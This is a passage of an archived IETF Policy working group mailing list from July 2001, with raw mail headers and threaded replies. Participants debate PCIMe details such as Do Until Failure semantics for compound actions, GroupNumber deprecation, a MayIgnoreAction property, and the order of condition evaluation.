I'd want to try something different > > if one failed, and hence I'd want the result of this compound action > > to return "failed". So, in short, I agree with what you've done. > > With two reasonable, but different interpretations for > Do Until Failure, what should we do? > > 1. Say nothing in PCIMe? > > 2. Say that it works your way? > > 3. Say that it works our way? > > 4. Split it into two ExecutionStrategies, "Do Until > Failure Hoping They Will All Succeed" and > "Do Until Failure Expecting One to Fail"? > (If we decide to do this, we can probably come > up with better names:-) > > I think we all agree that 1 is bad, and I hope we > agree that 4 requires more thought than we can give > it before I have to submit PCIMe-02 today. Since > there's a majority in favor of 3, and since that's > what I've already put into the document, then > that's what I'm going to go with for PCIMe-02. > Please feel free, though, to argue for either 2 or > 4 if you think we should change to one of them. > PCIMe-02, after all, is (we hope!) the *input* > to WG Last Call, not the output from it. > > Regards, > Bob > > Bob Moore > Advanced Design and Technology > Application Integration Middleware Division > IBM Software Group > +1-919-254-4436 > remoore@us.ibm.com > > "Mircea Pana" on 07/20/2001 10:34:46 AM > > To: Robert Moore/Raleigh/IBM@IBMUS > cc: IETF Policy , "Jason, Jamie" > , Eric Vyncke , mike_baer > , wes_hardaker , > brunner@ccrle.nec.de, chadha@research.telcordia.com, Lee > Rafalow/Raleigh/IBM@IBMUS, yramberg@cisco.com, ysnir@cisco.com, > john.strassner@intelliden.com, andreaw@cisco.com, ronc@ntear.com, > eellesson@lboard.com, joel@longsys.com > Subject: Re: Result of the compoundPolicyAction > > Bob, > > I have interpreted "Do_Until_Failure" as: do one or more from a list of > > actions that is always or most of the time expected to fail at some > > point. One may want to take a different action only if none of the > > components was successful. Does this make sense? > > Regards, > > Mircea. > > > Do Until Failure: > > > > All succeed --> the compound action succeeds > > > > One fails --> the compound action fails > > > > > > We diverge from Mircea only in the case of > > > Do Until Failure. We don't have a rigorous > > > argument for our alternative over hers > > ..actually "his" ;-) From majordomo@raleigh.ibm.com Mon Jul 23 18:16:10 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA27760 for ; Mon, 23 Jul 2001 18:16:09 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id SAA25638; Mon, 23 Jul 2001 18:08:57 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id SAA31518; Mon, 23 Jul 2001 18:08:41 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA40308; Mon, 23 Jul 2001 17:19:49 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA32876; Mon, 23 Jul 2001 17:19:46 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id RAA30310 for ; Mon, 23 Jul 2001 17:19:45 -0400 Received: from zcars0m9.ca.nortel.com ([47.129.242.157]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id RAA25950 for ; Mon, 23 Jul 2001 17:19:44 -0400 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6NLIq912196 for ; Mon, 23 Jul 2001 17:18:52 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Mon, 23 Jul 2001 17:18:58 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PNPTYDKW; Mon, 23 Jul 2001 17:19:00 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PLSP246R; Mon, 23 Jul 2001 17:19:01 -0400 Message-Id: <3B5C956B.D50752CF@americasm01.nt.com> Date: Mon, 23 Jul 2001 17:21:47 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: IETF Policy Subject: Re: PCIMe: GroupNumber deprecation References: <3B535D09.7E879D73@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit I'm re-posting this message because it may have been dropped by the mailing list. Sorry if you receive it again. Regards, Mircea. "Pana, Mircea [CAR:5E20:EXCH]" wrote: > > Bob, > > While evolution is a sine-qua-non principle, supporting the legacy is > always a challenge that gets in the way. Difficult decisions are > eventually made in order to break the vicious cycle. > > PCIMe includes concepts deprecation in favor of new, more efficient > ones. For example PolicyRule.Priority is deprecated in favor of the more > manageable PolicySetInSystem.Priority or PolicySetComponent.Priority. > Similarly, the proposed deprecation of > CompoundedPolicyCondition.GroupNumber in favor of a simpler aggregation > method has its value. > > In conclusion, while I sustain the proposal, I also understand the > difficulties related to its adoption therefore I agree that the decision > should belong to the entire WG. > > Best regards and many thanks, > Mircea. > > Robert Moore wrote: > > > > Mircea, > > > > Your comments have gotten the PCIMe authors talking > > among ourselves, which, I suppose, is a Good Thing. > > We've pretty much reached an impasse, though, so it's > > time to see what comments we get from the list. > > > > Very briefly, you've proposed an alternative way of > > combining PolicyConditions. There are two places > > where this alternative method might be applied: > > > > A. In aggregating conditions into a PolicyRule, > > where we already (in RFC 3060) have a method > > that uses GroupNumber. > > > > B. In aggregating conditions into a > > CompoundPolicyCondition, which appeared earlier > > in QPIM, but is looking to be standardized for > > the first time in PCIMe. > > > > Among the PCIMe authors, we have two firmly held > > positions: > > > > 1. Because of successful implementation experience > > with RFC 3060, we don't want to change to your > > method for A. However, we have no problem with, > > and in fact see some merit, in changing to your > > method for B. > > > > 2. What's most important is that we use the same > > method for aggregating conditions in both A > > and B. It's less important which method it is, > > so long as it's the same in both places. > > > > Taken together, these positions mean that we don't > > use your method at all, but instead stay with the > > existing method for both A and B. But this call > > belongs to the WG as a whole, not to the authors. > > > > Other opinions? > > > > Regards, > > Bob > > > > Bob Moore > > Advanced Design and Technology > > Application Integration Middleware Division > > IBM Software Group > > +1-919-254-4436 > > remoore@us.ibm.com > > > > "Mircea Pana" @raleigh.ibm.com on 07/11/2001 > > 04:18:19 PM > > > > Please respond to "Mircea Pana" > > > > Sent by: policy-owner@raleigh.ibm.com > > > > To: Lee Rafalow > > cc: IETF Policy > > Subject: Re: PCIMe: GroupNumber deprecation > > > > Lee, > > > > I agree with your proposal to extend the original model "in a way that, > > > > to the extent possible, preserves interoperability with implementations > > > > of the original PCIM model." (as stated in PCIMe, 1. Introduction). > > > > However, a more radical view would also "spin off" a PolicyCondition > > > > and a PolicyAction (exactly one of each) from the PolicyRule semantics. > > > > Since CompoundPolicyXXX deals with the aggregation of (one or more) > > > > PolicyXXX instances, it is unnecessary to provide the same aggregation > > > > capabilities in the PolicyRule as well. The PolicyRule instead would be > > > > involved in a one-to-one PolicyXXXInPolicyRule aggregation. > > > > This can be looked at in this way: In PCIM, the PolicyRule includes an > > > > implicit [compound]condition and an implicit [compound]action. In PCIMe > > > > these semantics are fully covered by explicit concepts. Therefore, the > > > > implicit ones are redundant and may be deprecated. > > > > For example instead of: > > > > Rule_0 (type=CNF) > > > > | > > > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > > > | > > > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > > > | > > > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > one could have: > > > > Rule_0 > > > > | > > > > +-(1..1)->CompoundC_0 (type=AND) > > > > | > > > > +-> SimpleC_1 (FlowDirection=IN) > > > > | > > > > +-> CompoundC_01 (type=OR) > > > > | > > > > +-> SimpleC_2 (Source=10.2.0.0/16) > > > > | > > > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > This would require the deprecation of several properties in the > > > > PolicyRule, change the PolicyXXXInPolicyRule aggregations and a complex > > > > PCIM->PCIMe data migration. > > > > How about making this scenario as a recommended one (SHOULD) in PCIMe? > > > > Regards, > > > > Mircea. > > > > Lee Rafalow wrote: > > > > > > > > > > Mircia, > > > > > > > > > > Sorry for the delay in responding to this concern. As long as we > > confine > > > > > the proposed change to CompoundPolicyCondition and > > > > > PolicyConditionInPolicyCondition I think it's fine. I'd rather not > > modify > > > > > PolicyConditionInPolicyRule however because there are implementations > > that > > > > > would have migration problems if we removed the capability to use the > > PCIM > > > > > method. > > > > > > > > > > So, for specifics, I'd suggest we rename CompoundedPolicyCondition to > > > > > PolicyConditionStructure and include IsNegated in that superclass. Then > > in > > > > > the PolicyConditionInPolicyRule subclass, we add the GroupNumber but not > > in > > > > > the PolicyConditionInPolicyCondition subclass. > > > > > > > > > > (I'd like to see a similar renaming of CompoundedPolicyAction as well > > since, > > > > > for both, the PolicyXXXinPolicyRule subclass is not compounded.) > > > > > > > > > > Regards, Lee > > > > > ----- Original Message ----- > > > > > From: "Mircea Pana" > > > > > To: "IETF Policy" > > > > > Sent: Wednesday, June 13, 2001 3:16 PM > > > > > Subject: PCIMe: GroupNumber deprecation > > > > > > > > > > > In PCIMe: > > > > > > > > > > > > Is the GroupNumber property in the CompoundedPolicyCondition really > > > > > > necessary? IMO this grouping mechanism unnecessarily overloads the > > > > > > CompoundPolicyCondition semantics. Therefore, I'd like to suggest its > > > > > > deprecation. > > > > > > > > > > > > Without GroupNumber, the CompoundPolicyCondition would represent a > > > > > > single level (instead of the current two level) aggregation of > > > > > > PolicyConditions. Through CompoundPolicyConditions aggregated by other > > > > > > CompoundPolicyConditions one could still build arbitrary complex > > policy > > > > > > conditions. > > > > > > > > > > > > For example, given a condition like this: > > > > > > FlowDirection=IN AND (Source=10.2.0.0/16 OR Source=10.5.0.0/16) > > > > > > > > > > > > A. With GroupNumber this can be represented as follows: > > > > > > > > > > > > CompoundC_0 (type=CNF) > > > > > > | > > > > > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > > > > > | > > > > > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > > > > > | > > > > > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > > > > > > > > > > > B. Without grouping, the condition may look like: > > > > > > > > > > > > CompoundC_0 (type=AND) > > > > > > | > > > > > > +-> SimpleC_1 (FlowDirection=IN) > > > > > > | > > > > > > +-> CompoundC_01 (type=OR) > > > > > > | > > > > > > +-> SimpleC_2 (Source=10.2.0.0/16) > > > > > > | > > > > > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > > > > > Option B seems more intuitive since the aggregation tree and the > > > > > > evaluation tree map better to each other. > > > > > > > > > > > > Regards, > > > > > > Mircea Pana. From majordomo@raleigh.ibm.com Mon Jul 23 20:33:15 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA04448 for ; Mon, 23 Jul 2001 20:33:15 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id UAA12776; Mon, 23 Jul 2001 20:22:13 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id UAA31648; Mon, 23 Jul 2001 20:27:24 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA57290; Mon, 23 Jul 2001 19:36:59 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA30914; Mon, 23 Jul 2001 19:36:56 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id TAA13218 for ; Mon, 23 Jul 2001 19:36:55 -0400 From: RaifNaffah@forge.com.au Received: from ballin.forge.com.au (ballin.forge.com.au [203.41.27.11]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id TAA32172 for ; Mon, 23 Jul 2001 19:36:51 -0400 Received: from mrgarrison.forge.com.au (mrgarrison [192.168.100.4]) by ballin.forge.com.au (8.9.3/8.9.3) with ESMTP id DAA24901; Mon, 23 Jul 2001 03:10:55 GMT Received: from cobanna.forge.com.au (mrgarrison [127.0.0.1]) by mrgarrison.forge.com.au (8.11.2/8.8.7) with ESMTP id f6NNcH508012; Tue, 24 Jul 2001 09:38:17 +1000 To: IETF Policy Cc: raif@fl.net.au Subject: evaluation and execution order X-Mailer: Lotus Notes Release 5.0.1a (Intl) 17 August 1999 Message-Id: Date: Tue, 24 Jul 2001 09:32:57 +1000 X-Mimetrack: Serialize by Router on cobanna/Forge(Release 5.0.4 |June 8, 2000) at 07/24/2001 09:33:16 AM, Serialize complete at 07/24/2001 09:33:16 AM Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: RaifNaffah@forge.com.au hi there, i'm trying to formalise the specifications of a rules-based engine (RBE) capable of interpreting PCIMe PolicySets. i'd appreciate it if someone can shed some lights on the following: 1. are there any assumptions in PCIMe as to the order of evaluation of conditions and execution of actions? ie. can an RBE go through a PolicySet, evaluating and executing as it unfolds the rules/rule-groups and their components; or should an RBE first evaluate the conditions and _then_ execute the actions for those rules that passed the evaluation. 2. (i guess this one is more or less related to the previous question). is the notion of "evaluating" policy-sets a PDP (policy decision point) function, while "executing" the correlated actions a PEP (policy enforcement point) one? if no, an implementation can be a PDP+PEP simultaneously. in such case, are there any precautions an implementor should be aware of with regard to the impact of processing a policy-set before another? 3. execution of actions is _always_ within a given "context" --that of the PDP and/or the PEP. shouldn't there be a formal representation (abstraction) of that entity and how the (a) setup/tear-down, (b) access to and (c) modification of its content, relate to both the evaluation of conditions and execution of related actions? 4. For co-operating actions --that are implemented separately-- to work together, there must be some means of communicating 'intermediary' results. this can be achieved by referencing and managing one or more entities in the runtime "context" of the PDP/PEP. this though relies on a knowledge that is (a) common to only those co-operating actions, and which (b) limits the re-use of such actions in other arragements. is the notion of a "runtime stack" beneficial to the formal definition of actions? if this is not the right forum to ask these questions, then i'd appreciate it if i'm pointed to the right one(s). TIA + cheers; rsn ----------------------------------------------------------------------- Raif S. Naffah Forge Research Pty. Limited < http://www.forge.com.au > ----------------------------------------------------------------------- The message contains privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message you must not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify the sender immediately. Any views expressed in this message are those of the individual sender, except where the sender specifically states them to be the views of another (including a Body Corporate). ----------------------------------------------------------------------- "Mircea Pana" Sent by: policy-owner@raleigh.ibm.com 24/07/01 06:19 Please respond to "Mircea Pana" To: IETF Policy cc: Subject: Re: Result of the compoundPolicyAction I'm re-posting this message because it may have been dropped by the mailing list. Sorry if you receive it again. Regards, Mircea. P.S. Bob, I have received your answer but I'm [re-]posting this for the record. "Pana, Mircea [CAR:5E20:EXCH]" wrote: > > Bob, > > I have interpreted "Do_Until_Failure" as: do one or more from a list of > actions that is always or most of the time expected to fail at some > point. One may want to take a different action only if none of the > components was successful. Does this make sense? > > Regards, > Mircea. > > > Do Until Failure: > > > All succeed --> the compound action succeeds > > > One fails --> the compound action fails > > > > We diverge from Mircea only in the case of > > Do Until Failure. We don't have a rigorous > > argument for our alternative over hers > > ...actually "his" ;-) From majordomo@raleigh.ibm.com Tue Jul 24 15:48:41 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA15393 for ; Tue, 24 Jul 2001 15:48:41 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id PAA04876; Tue, 24 Jul 2001 15:36:27 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id PAA21274; Tue, 24 Jul 2001 15:41:40 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA33146; Tue, 24 Jul 2001 14:49:08 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA57970; Tue, 24 Jul 2001 14:49:04 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id OAA29370; Tue, 24 Jul 2001 14:49:03 -0400 Received: from zcars0m9.ca.nortel.com ([47.129.242.157]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id OAA19332; Tue, 24 Jul 2001 14:48:54 -0400 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6OIm2905361; Tue, 24 Jul 2001 14:48:02 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Tue, 24 Jul 2001 14:48:05 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PNPT620T; Tue, 24 Jul 2001 14:48:06 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PLSP2V4X; Tue, 24 Jul 2001 14:48:08 -0400 Message-Id: <3B5DC38F.6B7BBC91@americasm01.nt.com> Date: Tue, 24 Jul 2001 14:50:55 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: Lee Rafalow , IETF Policy Subject: Re: criticality of extended conditions and actions References: <3AE47540.6A0CF253@americasm01.nt.com> <007501c0ccc5$c4f52e40$66302509@raleigh.ibm.com> <3AE72169.CB56DD6C@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit Lee, I can not find anything that addresses this issue in PCIMe-02. My apologies if I'm wrong. Thanks, Mircea. "Pana, Mircea (M.) [EXCHANGE:CAR:5E20]" wrote: > > Lee, > > Your proposal sounds good. I've added a few comments in-line and marked > them . > > Thanks, > Mircea. > > Lee Rafalow wrote: > > > > Mircea, > > > > Let's break this down into it's component parts: rule compilation unit of > > failure and optional rule components. > > > > It's difficult for me to imagine that there are sets of rules that can have > > a rule removed and still somehow reflect the intent of the administrator. > > > The policyGroup can be used to group together other policyGroups and/or > policyRules under the same administrative role. If the components of the > group serve different functional domains, the policyGroup itself can be > thought as a policy bundle. > Let's consider an example: An organization has edge devices serving > connections with its (1)customers and (2)providers. These devices > implement different functions: (1) firewall, (2) QoS, (3) encryption. > One way of bundling the policies may be: > Group1: role=customer > Rule1: if TrafficToInternetExceptSomeSites then Firewall-Allow > Rule2: if Mon-Fri AND 08:00-17:00 then QoS-HighPriority > Rule3: if TrafficToOrFromBank then VPN-Encrypt > Group2: role=provider > etc. > Therefore, Group1 is applicable to all the firewalls, QoS interfaces, > VPN gateways that serve the role "customer". There may be different PDPs > per functionality and/or PDPs combining some or all functions. The fact > that the QoS PDP/PEP does not support Rule1 and Rule3 should not stop it > from enforcing Rule2. > However, if the policyGroup is not suitable for such use, then may be we > should define a separate policyBundle that is allowed to span across > functional domains. Is this in scope for the Policy WG? > > > > So I think that the unit of failure should be the whole aggregated set of > > rules. > > > I understand the reason behind this but I'm not comfortable with its > potential impact on the network. There should be an easy way to evaluate > the impact * before * it happens. > > > > > > Your example does, however, raise a good point about extending sets of > > actions. (I still don't see this extending to conditions, however.) It > > > How about a condition like this: > (SourceOSIAddress = X25Value) > OR (SourceIPAddress = IPv4Value) > OR (SourceIPAddress = IPv6Value) > loaded/evaluated by a device with no X25 support. Should the rule (or > the entire aggreg.) fail? How about a device that only implements IPv4 > (no IPv6)? > > > > seems reasonable to me that we could define a boolean in PolicyAction that > > indicates that a recognition failure for a given action instance does not > > constitute a compilation failure. (Actually, this should really be a class > > variable, but we don't have class variables in our model. CIM has > > qualifiers that can serve as class variables but they're a clumsy > > substitute.) > > > I'm happy with the instance variable, it gives more control to the > administrator. > > > > > > How's this? > > > > NAME MayIgnoreAction > > DESCRIPTION This boolean may be set to indicate that an > > action instance may be ignored by rule engine. > > Actions that may be ignored extend the actions of > > a rule but, if not supported, may be ignored and > > do not cause the set of rules to be rejected by > > the PDP or PEP. > > SYNTAX boolean > > DEFAULT false > > > > Implementations MAY support the property. If not supported and an action is > > > Sounds good but... > What if we make it: "implementations SHOULD". The reason is that > implementations that do not support this flag can hardly share data with > other similar ones. > > > > not recognized by the implementation, the aggregation of rules (we need a > > name for this thing) is rejected as in other rule parsing errors. > > > > This would permit the extensibility you describe in your example without > > compromising the integrity of the policy. > > > > Lee M. Rafalow > > Voice: 1-919-254-4455; Fax: 1-919-254-6243 > > IBM Internet Technology Management > > IBM Corporation > > P.O. Box 12195, BRQA/502 > > RTP, NC 27709 USA > > Alternate email: rafalow@us.ibm.com > > Home email: rafalow@mindspring.com From majordomo@raleigh.ibm.com Wed Jul 25 06:38:59 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA08200 for ; Wed, 25 Jul 2001 06:38:59 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id GAA08170; Wed, 25 Jul 2001 06:27:38 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id GAA25800; Wed, 25 Jul 2001 06:32:56 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA40874; Wed, 25 Jul 2001 05:28:49 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA26270; Wed, 25 Jul 2001 05:28:46 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id FAA34542 for ; Wed, 25 Jul 2001 05:28:43 -0400 Received: from yamato.ccrle.nec.de (yamato.ccrle.nec.de [195.37.70.1]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id FAA20070 for ; Wed, 25 Jul 2001 05:28:41 -0400 Received: from citadel.mobility.ccrle.nec.de ([192.168.156.1]) by yamato.ccrle.nec.de (8.11.3/8.10.1) with ESMTP id f6P9SBI13782; Wed, 25 Jul 2001 11:28:11 +0200 (CEST) Received: from [192.168.102.79] (judiciary.heidelberg.ccrle.nec.de [192.168.102.83]) by citadel.mobility.ccrle.nec.de (Postfix on SuSE eMail Server 2.0) with ESMTP id B55D8C251; Wed, 25 Jul 2001 11:20:47 +0200 (CEST) Date: Wed, 25 Jul 2001 11:34:35 +0200 From: Marcus Brunner To: RaifNaffah@forge.com.au, IETF Policy Cc: raif@fl.net.au Subject: Re: evaluation and execution order Message-Id: <3923429661.996060875@[192.168.102.79]> In-Reply-To: X-Mailer: Mulberry/2.0.8 (Win32) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: Marcus Brunner Content-Transfer-Encoding: 7bit Raif, 1) The specification should allows a RBE both exection orders, you described. If you find some suspicious words in PCIMe please let us know. 2) Depending on you function allocation, you might want to optimize the evaluatuion order. PCIMe allows you that. 3) I don't understand this question 4) in PCIMe the basic Actions are non-cooperative. However, we allow sub-model to have cooperative actions (see for instance the QPIM draft). Marcus --On Tuesday, July 24, 2001 9:32 AM +1000 RaifNaffah@forge.com.au wrote: > hi there, > > i'm trying to formalise the specifications of a rules-based engine (RBE) > capable of interpreting PCIMe PolicySets. i'd appreciate it if someone > can shed some lights on the following: > > 1. are there any assumptions in PCIMe as to the order of evaluation of > conditions and execution of actions? ie. can an RBE go through a > PolicySet, evaluating and executing as it unfolds the rules/rule-groups > and their components; or should an RBE first evaluate the conditions and > _then_ execute the actions for those rules that passed the evaluation. > > 2. (i guess this one is more or less related to the previous question). is > the notion of "evaluating" policy-sets a PDP (policy decision point) > function, while "executing" the correlated actions a PEP (policy > enforcement point) one? if no, an implementation can be a PDP+PEP > simultaneously. in such case, are there any precautions an implementor > should be aware of with regard to the impact of processing a policy-set > before another? > > 3. execution of actions is _always_ within a given "context" --that of the > PDP and/or the PEP. shouldn't there be a formal representation > (abstraction) of that entity and how the (a) setup/tear-down, (b) access > to and (c) modification of its content, relate to both the evaluation of > conditions and execution of related actions? > > 4. For co-operating actions --that are implemented separately-- to work > together, there must be some means of communicating 'intermediary' > results. this can be achieved by referencing and managing one or more > entities in the runtime "context" of the PDP/PEP. this though relies on a > knowledge that is (a) common to only those co-operating actions, and which > (b) limits the re-use of such actions in other arragements. is the notion > of a "runtime stack" beneficial to the formal definition of actions? > > > if this is not the right forum to ask these questions, then i'd appreciate > it if i'm pointed to the right one(s). > > TIA + cheers; > rsn > ----------------------------------------------------------------------- > Raif S. Naffah > Forge Research Pty. Limited < http://www.forge.com.au > > ----------------------------------------------------------------------- > The message contains privileged and confidential information intended > only for the use of the addressee named above. If you are not the > intended recipient of this message you must not disseminate, copy or > take any action in reliance on it. If you have received this message > in error please notify the sender immediately. Any views expressed in > this message are those of the individual sender, except where the > sender specifically states them to be the views of another (including > a Body Corporate). > ----------------------------------------------------------------------- > > > > > "Mircea Pana" > Sent by: policy-owner@raleigh.ibm.com > 24/07/01 06:19 > Please respond to "Mircea Pana" > > > To: IETF Policy > cc: > Subject: Re: Result of the compoundPolicyAction > > > I'm re-posting this message because it may have been dropped by the > mailing list. Sorry if you receive it again. > > Regards, > Mircea. > > P.S. Bob, I have received your answer but I'm [re-]posting this for the > record. > > "Pana, Mircea [CAR:5E20:EXCH]" wrote: >> >> Bob, >> >> I have interpreted "Do_Until_Failure" as: do one or more from a list of >> actions that is always or most of the time expected to fail at some >> point. One may want to take a different action only if none of the >> components was successful. Does this make sense? >> >> Regards, >> Mircea. >> >> > Do Until Failure: >> > > All succeed --> the compound action succeeds >> > > One fails --> the compound action fails >> > >> > We diverge from Mircea only in the case of >> > Do Until Failure. We don't have a rigorous >> > argument for our alternative over hers >> >> ...actually "his" ;-) > > -------------------------------------- Dr. Marcus Brunner Network Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.brubers.org Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 From majordomo@raleigh.ibm.com Wed Jul 25 10:16:51 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA24299 for ; Wed, 25 Jul 2001 10:16:50 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id KAA06376; Wed, 25 Jul 2001 10:09:45 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id KAA32020; Wed, 25 Jul 2001 10:06:56 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA37094; Wed, 25 Jul 2001 09:08:10 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA54744; Wed, 25 Jul 2001 09:08:07 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id JAA21394; Wed, 25 Jul 2001 09:08:06 -0400 Received: from d04mc200.raleigh.ibm.com (d04mc200.raleigh.ibm.com [9.67.228.62]) by 